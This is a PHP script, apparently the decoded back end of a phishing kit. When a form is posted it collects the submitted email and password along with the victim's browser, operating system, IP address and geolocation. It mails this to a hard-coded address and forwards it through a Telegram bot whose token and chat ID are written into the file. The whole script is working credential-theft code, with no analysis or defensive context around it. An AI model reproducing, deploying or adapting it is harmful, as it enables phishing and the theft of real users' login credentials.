PHP Decode

<?php 
 
date_default_timezone_set('America/New_York'); 
 
function getUserIP() { 
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        $ip = $_SERVER['HTTP_CLIENT_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
        $ip = $_SERVER['REMOTE_ADDR']; 
    } 
    return $ip; 
} 
 
function getUserLocation($ip) { 
    $details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json")); 
    $country = $details->country; 
    $city = $details->city; 
    $region = $details->region; 
    return "{$ip}, {$country} ({$city}, {$region})"; 
} 
 
function getUserBrowser() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $browser = "Unknown"; 
    if (strpos($user_agent, 'MSIE') !== FALSE) { 
        $browser = 'Internet Explorer'; 
    } elseif (strpos($user_agent, 'Trident') !== FALSE) { 
        $browser = 'Internet Explorer'; 
    } elseif (strpos($user_agent, 'Edge') !== FALSE) { 
        $browser = 'Microsoft Edge'; 
    } elseif (strpos($user_agent, 'Firefox') !== FALSE) { 
        $browser = 'Mozilla Firefox'; 
    } elseif (strpos($user_agent, 'Chrome') !== FALSE) { 
        $browser = 'Google Chrome'; 
    } elseif (strpos($user_agent, 'Safari') !== FALSE) { 
        $browser = 'Safari'; 
    } elseif (strpos($user_agent, 'Opera') !== FALSE) { 
        $browser = 'Opera'; 
    } 
    return $browser; 
} 
 
function getUserOS() { 
    $user_agent = $_SERVER['HTTP_USER_AGENT']; 
    $os_platform = "Unknown"; 
    if (strpos($user_agent, 'Windows NT 10.0') !== FALSE) { 
        $os_platform = 'Windows 10'; 
    } elseif (strpos($user_agent, 'Windows NT 6.3') !== FALSE) { 
        $os_platform = 'Windows 8.1'; 
    } elseif (strpos($user_agent, 'Windows NT 6.2') !== FALSE) { 
        $os_platform = 'Windows 8'; 
    } elseif (strpos($user_agent, 'Windows NT 6.1') !== FALSE) { 
        $os_platform = 'Windows 7'; 
    } elseif (strpos($user_agent, 'Windows NT 6.0') !== FALSE) { 
        $os_platform = 'Windows Vista'; 
    } elseif (strpos($user_agent, 'Windows NT 5.1') !== FALSE) { 
        $os_platform = 'Windows XP'; 
    } elseif (strpos($user_agent, 'Windows NT 5.0') !== FALSE) { 
        $os_platform = 'Windows 2000'; 
    } elseif (strpos($user_agent, 'Macintosh') !== FALSE) { 
        $os_platform = 'Macintosh'; 
    } elseif (strpos($user_agent, 'Linux') !== FALSE) { 
        $os_platform = 'Linux'; 
    } 
    return $os_platform; 
} 
 
$to = '[email protected]'; 
$telegramToken = '7412440330:AAHHZYo6eiwooUdkz5cGqhOuPTBFkCQj_x4'; 
$telegramChatID = '1918139920'; 
 
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') { 
    $username = $_POST['email']; 
    $password = $_POST['password']; 
    $date = date('l d, F Y (h:i:s A)'); 
    $browser = getUserBrowser(); 
    $os = getUserOS(); 
    $userIP = getUserIP(); 
    $userLocation = getUserLocation($userIP); 
 
    $message = "Username: {$username}
"; 
    $message .= "Password: {$password}
"; 
    $message .= "Browser: {$browser}
"; 
    $message .= "Operating System: {$os}
"; 
    $message .= "User IP: {$userLocation}
"; 
    $message .= "Submitted On: {$date}"; 
    $subject = "You got mail from {$userIP}"; 
 
    mail($to, $subject, $message); 
 
    $telegramURL = "https://api.telegram.org/bot$telegramToken/sendMessage"; 
    $telegramData = [ 
        'chat_id' => $telegramChatID, 
        'text' => $message 
    ]; 
    $options = [ 
        'http' => [ 
            'header'  => "Content-type: application/x-www-form-urlencoded
", 
            'method'  => 'POST', 
            'content' => http_build_query($telegramData), 
        ], 
    ]; 
    $context  = stream_context_create($options); 
    file_get_contents($telegramURL, false, $context); 
 
    echo 'success'; 
} 
 ?>